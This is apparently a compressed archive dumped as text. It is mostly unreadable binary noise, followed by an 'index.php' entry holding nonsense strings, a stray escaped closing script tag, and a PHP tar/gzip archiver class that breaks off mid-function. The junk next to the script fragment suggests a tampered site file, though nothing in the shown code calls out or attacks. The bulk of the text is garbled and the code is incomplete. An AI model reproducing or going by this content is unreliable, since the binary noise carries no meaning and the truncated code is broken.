VH•HO> U͌FH󺫫U^;552uٳO<63=䙹sOOwz~xjngF\,2~tTvE2V-+ew܅JO}߹ɳ+$d%w(y7CX?rC$$!9 aB rLirݳ%pw="cd kN bų¿{| !PK95aCI<5G.gp eoJ`Y  _v5jnq71^#o?-~uw O&c/` ?!;Gd;Y׼{";r)mз b{k$N77>A&VɵV9[;]zO@\ t1z{:@(\o+L/{//o]WWW6\teWzG\}_=Mصn:ЙUr\\\N]eo+++W&z}ꙫoFRF&ޢR?J'yn37?D !G]BM8-,o+, / ao{)@4'a`RtEh*@]vtOKHIϓS,9rd Nhd8O^IFGɏ^Rg89@~|=r,S^#ghMPzN@||$[oqR%.)}2C7S/ȝ}t7I18`:KMj2-!Dq|_H%nYZUza yy'A&y ^,'Ys[-YrLV86&/(du`m:eUź*r X%́`U8'9M}3du  du+dudu;du duzɁ`@ܷq XsCVws p ?"}XY=YP.z0ZԌ@|'}0.r>r99P{8P웯@@qܿ"8~(ۃ(8Pws8@p=(YT@p)@jq:(:Y=h;YT>Ɓ`?}@Ϟ@Ϟ@=8,},8o>`Y}:~4}qȫ8,dz8,ǫ9,s5PZ@Gű:9Us ؏`_{#AYa%8DVpNdMPfMշppXdm"o\Y}/p~'EiĻ8PQ@E^qy"}G9Pg?sn>rrx~ " e8ErY<#r\r>\p\rޒ\q@}07 g+9EHaa wqɌ\=d4r(ջ9F$8r@#W@7zG9G〸q?@ruHjȆ48I /3 &ճݫ@$W8I$$?է8h˫Os0v>SrTr8(@%W+d\r9Kpa o0v 1N )/r`e|n G5^ [97&p g5́qM:r\r\ pI\ r\ q 0f9OE8OY@'עk6}ZZZx-́@_@׼@_@\q <=88+p@aL]>6ʁ8@> " ZV@> ȁ|P;ym'o@ṕ=p W἗jGaBMG"»z iH_U߯diGTVTA}AW?{}ޘw;=}{wx_~>}^{L{_2&̘Y3,P |>?~LO9싼JYZOZoGGgV[z˱]h?şL[}K=='z=D>q$t⽉_I|-&O$RoJ}4KJ5s0|ޞ}c7};Hn0X-O_*l/?g?oyF^Ƙ8؛>=vu|?6wRttr|JponܼƟԽ6= j|zwqyk??rȓGy{W'ME=?"ё*(E$i4&Vʕ q}l=&"+JCAog=^]KR-o>DS5z@REx╨OޞTxt+Ȯ5wu?tARubbOy z3YKy]r7eeV beKR ْ[*vRr]*b>#GtybNձl(l !oFjhhbhh.sƍQy|l]lV5 (d c\Ŷ%blظ\w|9P rdjؤ %0iv%HTaݳ3G-Ӵ ֦cՠݸi6<L_gACy,0 <֍v*بa =d[8K nҏ\ǣ#+՚C+|>8/SUuBaG@$HC–2i$е櫓O:םZ`Qaώz".֋X}4|̖{_#Μ {0_O~kqП0k`Ph5_1v*Hw$B?ߵ3ޣQq;wW<*iqJ0\+t)i,_'nVKK>y;DZBi *UvRRIᣣGXDRRONTTK)CtXRҷ=,ݫ(V؜]vfnǣyC;,eSk,>\$W}j;PwhQ"5.2E1pM1q,P.uA# :mPeʕ|FPyJc/Ar%JOOÉ&Breec۷?j2 }p ArͼGMܨWJгžGmmP(އN _(@3c

    >%jQpqC;@rSO;O݋.fBF`$hW*m%]J"ETAoFS]L+QJҰNzkƮL{BJ*yRşʻgP@7ۜ e$Eu;kg`?g!Q.>1RڋweU<-[T|LL?˲q|Q'=>YdE_.o~џSE}Ɠ^-*fJ!n}oRrPRf\(v: -s;^A@y8Jo-DB_'++WC>*(=b1Y|ؗkWbΤ, ^Y*9!v@4|lq춘8EZeAէW$djW>D!zPdhW†D.I41.J8]JRR\5HFZ\k}p頍o.5]'KxGo53@jBUk\Hp]tϻN^{h;YlS4]9 ByN/@*ixK.E|X Xl*Wj3ljmVv|OVq.6'ga#w0|\S-u|E[*B_"҈5AG{"ъ5KEGBɍC$e T0=T0͐Ⓛ_1Ϳ *#(H]P.Axrt?`w } 7'T N[TTsE Y>AH^ |CLPV$A7=j!ų?CZ00q4cd"K|Q)6e`/7jtq/UQl%ƹtnWjӮtqڙvZmxiPt%F1vbX18Mz򫢎# ʕb]Zrk嚳H[rNc PAZKKkiG(8>]kP&PYXRZi&~v;h3l?SLDН֧S) P.uy2­Oe [YdI4Shg+߬\6ȊQh羝Muco7YA Tq3 elOAI;墜 $aHXm;ּ[s %Ro_(45ub_w7IOi9~,@P4b=p "2`rh#GO(6~ ԟ]qsvE)dF1eKhnj˖[޽u JvN4*ON)ͭl\ԽM?Iצf}D% ;&}lu2{K1TT͊ੱqۗݽ qk|OmWi<^"\߬8ͽ]@=cw+6YKE}HOvq `/ VIq nUPcƲ4҄6^ǡu/r^~~ >R"x&A,W½l"6]șJD.RgC"U*d:u!ږ't=di=5eWӒNz+(O>-OUD_5zTMz8 Q'-;d DLtCal*J~8 .>!uLe<'$6Oݪyu'ˊЬӕ[+~FFIQHPĂaY=PK`Ô+QK<۟ ;쀔-=Wd+>+h )h|j7,GV#R/ eiZcКZ myY3K,]ѪGMx`v=Wuj,WunHLqNǙ@74]t7WVPB`;׮G&;^#g[ 9ShE nݑX@pRD ,hO`oȔ?E~7i:ZZb;H&lPY{v;A\(cd 7q,U-!ԋ$+idKCa]"UT9J޸W|e!و'HXV$'HuI)R<{Tyc60C##d%}uT/u`( Ёf:phtITb pTT Rߓ!{{4CgCԠ3bȡi*iNh'yU[A^7cwVl 2`?LBQ@`V[<%{}MxسΝgî-'l9$fp`8ӯH̸[.svP%h@ aЯוtC/wGcVD@W:6K/XQوqwXZVZCGvmN7 #x57؂P&W6ڞ[914FTSQ'VER7#ǎf8DX<> #Ǝmcdc=Weѫx9#]]#U[ zd6ɒ2y<( HiƉk!r/y&ϒDN6TzZW;'nkvy?>jZ›8ܺ;ѡa/J^j" #&)`Pt'# .7^NwK@<# }qIƇ_![w[Udr=4atfl:?¥`<w~`|$τanQ4UCM\B);3YeCk"5`C9hD:&T(մv{Fm ǸLJq*xh|[SWS?ִ6ۦ'ǵ퇷7- Žaw7o_! ^ r6vd;oRdaZ(0CBh w~ 4olp?䌌='<ځ=h8J;fizܠDcI٤ $,ȃ0]R![о9V;[r[¨1aNAv_>PC 'trC/;ɕ|(fR J!P @LaX=iN(!8+*Y=ۓނ?W wN C=jww5=M7ǂ g7=qM?E0M1VyB<.)҅vvlt#@O|HxXn QMiG2%VWPHXzVuڋ- a9Y%kUZMUZ/%v Q@rdiA K$iNxVbl;f#4`B& |p2<)lTBDDWsGzsiwWJ+KAJ7Ndܨpڈs8BHXlON#U[Mϫ1QC}L-* Q&*H(%FmSH2 ļ^?5xUJE"Va4nW,Ǖ%MA{Z*>;JKcJU3ڊΛpQ(a'wi: q_kio6 ԘՖZU-ɚQsR"ègP^JmӼV.U )G.{5$7D9xgv9f 0}!٩n+?D뜵]Z'_r"14V;dt^EhDVi7L /l%'Dj)tYJP4dUyЌ{{dh t#ZDl|>D7 /CHƏҞ"!*Xn[9Dؑ cG&diQ<2jCL6dك)N0;#EFn#ŕiFXV 7nRଔ@DzfS^Ej(S P]GUD?'_TSLw^Ղ(x^]TY; 逎G9=[kظ eLPJ3xؿxyS=JnPHߑKvw Pu/5d gsJatIω>o*'h2&Jaq1(;q Xd-9rZ7 Ra ִphv2e#]9~OKoi\#스͢ wBXRW#jHUp`Ȳpu/!E uU ) .Ee䓽`^sۗ̆ќjrV%ȓEj\|RI %|-CBS?L/1=2SvzΗge۸q%[)٥ 6.MOj5Az]ly5`I V6Z4.)n{>Kg,`乤,/.cE{E|m.$uu r̝wz.LN"@՘LͲ;\޾‥g>DTP+㽪_48xE+ѠsurgOf'xCro2TꕼY~Ux}]s}ji6"Nz\s |G [I[z$oaF k ?$AVހ2W Z]gc: (-Oh _TznDAB;dqE?cpA}J*H"ݾÅtŠ18gٟp5&nv~Ɍ)k]nqW*qU)17od`9Vaڕb奵ޗ,>MKB. 5΃L,-v}l^g=.҃H\J8*4I"FLaU=fE3pQl!6Y ^!jQxE,Uۘuun.rcQo].lr*K Vʱm[=V?⊤Zm[[UrvAօhr޲Nf!_nЃ snʵۨ aZfĺ0pXYZydL]橃[fkЦKMV' _R5]\~+\3tp҅ N*vT[~Zu[uJ ҹFLAkPfkvKtm\,U;l%L+2)ژ`gl-e\^+CÕm@y+ԁaK V%GUy[J)PP7GOzbYGu$Y ȚlX ɉ[Sg' +#bl lK_̘_/C~Oc^:p5zDz% gRGI+Uyv 8ez"Ƽвӊ8a?K.- X^yc'/%5A٣(.=K&mo~[J?W/ۺSkj ;z.^ < 5:rqNqǙ=Bi:[nKfSذht^B vF^.tmmLs4gֽa\j*;Z W^'!\`29ߕU<8|-)2;7oNR6j‰"GpNmGin}LP%+Lgi3kpz @PEņR@nXKi*2t>L=H92Լb #I4Ͱ@t8ڦy?6~q4Flfu lBa6&suũ\]'+K͝rWCZ,t]v9Zs%|҈n6TM|ÆG,Iat(ي[*+?`GtRlqѨ_;a n6%Ԝ?;hչ2p+ (}zuF,4A bsVKλͿ= tZst: Q?oA Ie(~]3%_r@a9htJ#̅[, mj0D4,lVfOH?i7Rd@D@ʁ^}|/vF,(Nq2`5F r20+mMӱhm]'o庋ÍE< Z,^I=Ym+8C&^RՊU~ZQ*E_6mR?l D6od(M!5cotmel)W3=H4hӃQOă|\*xD7(Qؽ1ŁE E*Hxb՜cb3|";^r'`*Ŕ,3XpjQ Ԃ&w0xH@p##T:`2u\LBv:dzbRO27]X&e4b*BZW {-+q7H],I@ t >/z,%Q311ၷ#Z ,ljA'31"@|Msa߱n|$_s,Z9?ls=YZ![GGgǵ#:FW ^YfY: +[[H^|tee!f a9S`M0MjnO_̔d$z-"n,L2BVJ ɡO@9 ..疀Yb!Y)`I6Ȃb3Q͍N+R H  (- QuˋŚ@8tAԻ5XTj݄Ð_ QxG%;psy=.6mfÁP:h5oamZN kj9x6N*ġĉ/t}).;NZuFQl C9͵l@=џE_?".q4CSÖ!GbwہzJWJ48vt:M Ex=gʕ3 'NpÿȚIE="xd䣢&}-Y?"&{.M %)EfX8s$xǧo?WٶyMJ7((޵tNqɃ.B4E F?7JT%HtqkS3 y+S7g*Ykk+*R P,aZ-?xKD/ 89PO(W;Z7eS&uznʇ:?.w|; >t/U6[Wƥv. ' խFgw!> oZuu=<ܢmRNRqe{>#[i%Q MIw[>[UlU-~j1Փʙ,xUoL$hg=vf:,0AíL|&gScyCU6,z]1}n3⽍KŵKي#}/vSuA p% \vӽ?\<я&vW*|haתd8Wo,oѓ۸\ѥeηuRuh][?tB l - &dwl퓽V>wwpmpHCm]z?κXitBɒM@[^˺Oin Cߧa\b6kԬc2= #d%y^ xYn\sQi/]ZQ[M u`:J $ -Ut~fWQ$s/,yab5=Z,j<s@4f]ZoUJ6޻PӾ癁*n.4̶L9 |mrB1$qE+i V* ]9!`$B^qbBVZǻq/ ݢW_< x3~~賳c@ *0R]:An\ӕy 4S%1+"$lX^8tTʅ+pĠ R@oRY #_KYOn{6moVOV߰G M Ȉz#jbK58G&uCV7qf,#:-=x0zу]n}dK.,WqL`zhh\#˝]>TM.>IG.Cob_72~K4؏7M@O:|o@hҍMcpL-C`!X3Û雌Ph,`cqsqզ 9N9̍XB)ǯЕ ܘf2@"˄cl:q(Gw4^OȷP^4#4"a YjHY!a`&!X@ks$9T9/1+l_ϛwy֪ Fb6ٗL[ug'j}e{h['[Y!^m,ϟ>yBgP+l4 0täYҎFpWL  vtC )BLKKWp ޣNp ,Ϗ|^G^N BaG'td]y$6fɣ 3/+Tû 0{x{>/r]N ,uLcK) ۻ^^ه؉k ^dG.W1E.sT?5=ޤzfBPH- h}ݧu1{붍D>Dd\q^#:ƌ :DKZyMKzqoi0>}5:EfWܳ1Kq2աR!O?3ξMn f87n|1A}c=Kn}`l17aBmu"wǘ&]+ E-̦ ae CN͠Tʀ%W M1Bl9xEL/|=o'S=o>zXO<27SRzoW[t]!KC~g`Gѷ@?m0zޞHlOl8rZ/OJG꣕(vJ(TBJN'Io5ObI`[^11>{ov>$TLeԛk O.񍍥777eJCt'.+|PmlЉKX8<ߜJg`=ÂXp+03 #rd+\A㢨J -% \1(1INRЬ|*$`qL_Smf$318`Kw͌%FS>梨x*qQs.ZVQEn;|3ƂKycc˧([Rx,nrJrDCֵz;r*l/xGt(ц˼Yp$ hqX8VNzz _u]L71{U$۔+mE7ฺz}$:YOq@p`ܽeKٱ2ׁ{ozF6oIߋ[6'ﻟ4u7iWⷓ}Q8?e;)3$X8^=欘R4;cO_@ڬݞAKsT /^)*Q*ֽ@)˪/4C׭0\_`tّNzG|WMW$ohH%`$$J)+ ;9f976(uQX6QOqIR#rHWu($bmWhNQ5k ϫBgb>(VAHG*HX@)]gͯ;>Yhk6,-ѕZuV.Ujm'.k ƫK9vߡ_i8i3p#[.Fi l޽]G~?w@(}+~޲0~5\ LGy&(.Tѕŋ3QQRfƬ0 {|g4g1 VBk[VZ/4\ ?r߅i\>VO"z7-sW\zk|zi<.l=|}42Qg pwӽޑ}߇TQɥCX%?rО-p:|ͭc޻io9m@:.tBb\zWI (fmDi|Ӧ֓]ѝ {nϏӕTb53TeГ{L"_a]qV܀^9XIP0ԝ[#kQqOa(גR>Y #2Ӊߍ/@;-Ld"W)VyQI |Gj Qsp-j JY7l`KT4_SV+<Rcũ2KRѥ|4++s>n] 3A ?Wo&:xN[PlI3AblizBMZͥW嶫+"DߎǶm{9w`afG:Mb"]Ŵ,1ww(;K"r:,[2-{6Diqq Zlٻ9ټwKQw_ZK-RSuoLqq-}V=vVAS%lKx ʭnqMFA_IT*d,PI{DR>5(e~Qln5C5UeStw>n{6us g-g՝ p7c #F:S7gBf0 P҃_įm6c?p.žOH.3ůB:@?|KCCXCwt`Mbi.gއ,K=r~?@ UC3RN?l垕|Fz}^??=}8%\ uYO5/ekqO_8=EϼX d\uʌYaxbPIIaWA5fzA6]EUS M+]+E.uX4iǢQ=u`Ձmlf3=^ &|8:x0hm[]\W ~h|= Gc-^w<8)iRizTiɄ_v>/:emub5orkM1m\YAU:<cbR$j KP l[~?^5ry'P暵We.J1Ɏ hqA¹]%桱 H *[ D XW"L".ڑx|0bD"wkl78 e%Y W`PfDxt;ak^d,sp`ց> İϴm<{֯ҭ[1n_c 욏 u6;ex-ɜ6Y8*Ch;ݸ\ֆ 2bTJk]n4]]GwzXڦ5kga-gafM7b?meɑS^IHR TagH;?/AWDø'#ɾ.mĴq K'΢Uq`g+n1^=xG_º2Ka;+7z-K]\mRGpَc~ɤBigXNjkmULC2n<oM޵Pkq+ ݹ#m"[er/Lc'ŵ*t<el2eb%XWv:Ƹ^f!%x|xB1b-@wdA~JBbqMwJ8ޟ utXl#5?8GAZ@hYV=_vt:"z+A=vz*"nӬMآp\9⢎qn Yms9뛴6+qƠg>gv^k .㨀dkjjVl:lۮ37\:8ctq|aw+M%0Р&L7E/0*;*5$"*R԰ULDaO@VtLW͌AްGQ ȍc\D*)PDErƌ315a%Tφ "^N΁]j,gƺ*I+>f=zDzG 7͠(aPWWӣNZRqj-k:Ac 5ϔt\๭/7F-&̽մ΍-q (n}\Rxe47{͇6ðo3_\d UCPLbwMrZ45Z&XwB5ˏ.3jvkxY 'uw/xpݗ GW5_haxR}>pr?@ uӷw^i`?J<мt(-dyO:LuCBĥUěNl_c1Iٷl5䖵le.YbOnxѡ_5awG{n:mCizJP?'GGbۍl/6hh)' |7C}=No8dbcJ}v{&m[yC. c!6r!Y_Nr ܠS,O_dndH;6p qCG>eN1s'RP/؃ +*xEyZ|׮cA3*v튿&jj_h}jщAJV,kq|xqhe*#gqes=Q] dX4_y1R/_Eg8{qA\6V.ުia.:>gZZ$ Ժ#6p5gT4lsHc|=/TZ۵._lVn QshgTwcGݤ__o-IPC QڄE_}]gz Ƌ}86>q| \hڣͨE c`W87<[gLxdۯ7DZt ƭgq2qf[Y. QFi>>pNEA] d3X,au& K*qY6#rZ{ߌωx<1` 52|G'm۷_zF ];GXKj՘m.7N ΢-BF bgG  9:w!P-C NkGTY0G$nUjT{N! PrħL-} HAW6Qun5U7 D"dUB7k0 mgQ6EuXK&UZޒim zzЦֲ'a3H8ŗt6FCI(}Ufl,v5Vz3tz4-aIPrOWFw ]++)3ɀ tkw4hGyi/ZHgР–dTsɲAW2XVbq);w:iCzpo\ZU;4u6-QLޅZ.(ߠp͙~7|VLAB($cBQ= }>A M@)W3NBASB2e4O3 /Y׼tqenUj~XtiԜ̖lW,֕ݒi,NjSu]q}>xuCGPߝ3Z81$ ?d%"Rt^fi,W{\8]qjv]FaA_ N•Fx<IG_gзa5qn<8s̔@fUJUi4w^͑]py~S:P,=AUT_ALZ5sd;;:touGPG{{'3DŒAޞN%BeX)BqoC畝W9Em 0\sRPʤ{ʦcUi=z$ɣoIt1[7H5}oJtiN`V0tcls[xK&cRIx%\ӗv]R!Ү]ޮ[.]R" mlShfIJ֝B<:80AvC@qaӹPmSu)*38uhZ8 xSR/ ^5Ag9,zBߨi&ځSU?08X/0'0 IGmEr݁VĮ&ЂBTݿXq9}?7^::H%J~`zho5MU ޴co:+*m~|Giok|~:F~X{_.gxᎴ^b|Y~}OnJ$K4|YRR*F l9DP?x3;R:R*[v~yy}ׇ_<|wG GSRԞ?`.v9JpГ[C-1uqѻ 9ܦeVEw+M@?؁kP/2ԬkK^zt­԰smn >“,/B}?i +(BKc-ۃV:Yz9ƒ>7 rwA]pQ򧇆SFo|:{W9L%lfע߷Z *liu. @6N}٨kB۪:K=:eq}|ħȭX2ߕk~̮O_%Rjzq~-ŕ2KR.sWNg 9nG^vrkÍA[^D^!:;/ɚKӦGj`ߥr"c.7/6.enѦ:AzlYc"]\/ha%SlEZϠ0Ozض(ߕChP #o0K^Ż.hJ3/1_ݸe,A*͎08 pNМtOg:q#54kdΔl2.HbJRrv +;l $nwZ.ؘ%B;G];]bz؜Fb&5@H YN9'\0BzYLʊ gTœgTY >ٳiX]~֗%5VJ4uYӇSHeSC}eooo?=c(⁳4Pjz8HMF&A LPG3fa2.Jr!jg=EuŎG8{;;P.X62hᲮ*@R DPϛ4[VrMpMtxUA7?;=n&@e XMQ##xbQ#.zBÏ*: (%Ӏ)I]kuk=[?<>#D*d)ƺȾ-ɮ')xV{ 끀gQPvz}6éCGYT w&u[oX;ƛ!DݕJw0k*^1 A_ƕ %!2xڱ;IO{x ԭƒ髊ܱhǢS~k t;fb4xe߼k[tMO$q[)AF|Б;ޞx'˷5a-{'N4ov#F{nm wi/iD"hJHWM%v2iJ iN67lπĠ0ml+ n+RN6O9Kt^hֳS=BWOui.bDnꑋQ}xt(hB%`(L)yVk֝j w(Z|mML`Fcx ;P+g+#xr0aez|~IQ|p 1-jdG3F>Hl(^E* =lo_<+;>>L?MTf_0S 6xñ]٬ -|~ȧ[Y^{*RXCGZX 󹅔9rd?˜-:{K}{80`<83om]Gɾ=ta<IU;џi4V|,1jtrzu{z7Џ qk'Ϋ.2_)[9-52N/bq th۹f 9B~f_r\8ۖh /0oL[f;ԯq|72^ES 9@dM>_dk RNs 3 :&u|;\)U;u5;?XWTDN܉{)_qM5+t%a57hJ4..{xu#ޓJ03ߛY TEstJ!'!ӠᵻnH _ؼ!"ꢪ+ +[f#ȦS?Mҟ.k=]TB$? i|W,QvFz<^#k|VIڞPN= N%~7 %C څ ى`:+B㎃a)h/}nv@l ztos}'-BNj{E.:f8]~/#v˺oX1.wSrqӎ,n ¨0dZ[q Zs&r]3xx]tpq7,כd~L8(>D9@o%-/b ea]čO0Bu::ƒSEˊekkV;_}yF -btZvzUsOj{.oLgVJzU44YpX^x^RO3ùkC`) \Rl,st9E(0GMT: S{RZ,m EoU%1 }c^Q➆6OQ; {WC/$-d( DYH! $(#\r":I(J*`<8QsS;* cy9&Ze#(U@v?“w'w7~ބ,ʲ7ԖIS7$+!WdQ13%Q_iҮm?ټ'2$ 'n;:T[_ (]D@C^?%3v];b-DK"o7/c ЗDf( X-HȅbrMP <\.$pT7z/u.{@Uw+8G M'E9s(A'UtwDdOû5v 8>jzYk, p<_҃x|#׸:|55~ُ'3󶈋Hlwef : @<&<ɳY&~d w ^qG>U}Z%ߙE% Y67|J6Q2G3ϬHkn'^ȼ ߡBj[;2S\efiq|oݥ޻#@[ݪz>ݭJio{r[B޴cPO^V! \0hEǛa9+ ? aW/P" ͰaĿ `3,(fX/5> fX#yZ>19r#Sf'϶ہWL;m:=uvraD3'jٹS=sfgRg=6u|a™##fSk$30Vi!Sd#p- x,g5|? sٳPSD#q< iCu # OĜa? )[gfGONKyП׍Q*T^AOu :& 0PFMc4NEiЦ$M4,97~:@EOģtSiinf[:Aw]6z;MнtO;AZ0G!W{+}~}>DG$=Ft4=Igcq:KOtOгt.sI}>C_E?@_MuZ:z<}}#AC G[[;;]=<`?J8П?E_?M?H?DП?GE;ЏO_B~u)i37oߦC@"K-|~~CGЯѯo?~ӿߢI56w@;]OG*LЫ'?ߧ+7ڠ Q*x ~A BP a!"XBTKzRBZYW y ~a@aaDƄqBI( aI,l ۄaB)nnv {>ap@C8(TCa.pT[&O9=4yǧ q|nvvSS曏?70wjUSgu1c渏_;5SS'f&fT;xg&[7̞9=ߺ17%|khrv\9~õ[nfkannsəgf'OOIΝOLCSgvnvv詙 '}v<ٺl=[,x/psgy1j_8wfv8P< O>h^>6ysgcMM~lvC'j%cssGE ;qQ 3O,<]:v٩ٹxG4Y^iH`-6wܩ`Gٙ';>;w̼-̩NA:_; בPps3' ;7?srxj 7wZo]>57cNO20wAY$uʍq2zO ‚'|tajz3'rhԤ,uyfB3gAIDZ48;14? ?CsMNNL /LbjSS~@$sgs:ŹSu0ꆰKWSvęIkOà|l_AOM.Cv{u1oڑOb sNk瞜:;4s Џ"VzɅc?N0SO;v=sj٩S5}SjJ9158tyG.֥G[BL "EC! .;;վ;n4/Ԟi'NhUQ D.zW̝[4[q3'y  SO/Ӯ'-L ތЋNM2z  Y+tVٙǧN>,T+c64ZE87ۺuj,ET'L̩̙yԩəYvh\bAmԱCN<$;gN-a hSg,n+N==B]&OںPa'ffA6;9-Ny MÇ+yih'gg>zkyf|˴gm w\b90N$9/OMNyΜ`9ONsV995Z33'gyOΝ;;=;9?/\85+Û=a意tٹ3~`5//:;z}#P  ÏкN;xm-8qq]3ks8(?xphӛǰO 5d`I2sT1OC<,~ ZѺ08oaY :c <ּ®aI͇Ѽ;~9 A$xf<'ONM-4C-SSӀ[SK0V`rE N`ʩi%{OA3OB9 jɧXG9=͝X,z(kvh|-Bp~,p ma֝_툖TjEBW*5؊BĤ=r4V W:"#S@A"֑)4Jyc[DMZ??+wPK[][7[7 index.phpnu[nskldgskgsdgf hlsqmdklsqd speskdjqsjdss <\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
    '; foreach ($Errors as $value) $message .= $value.'
    '; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = 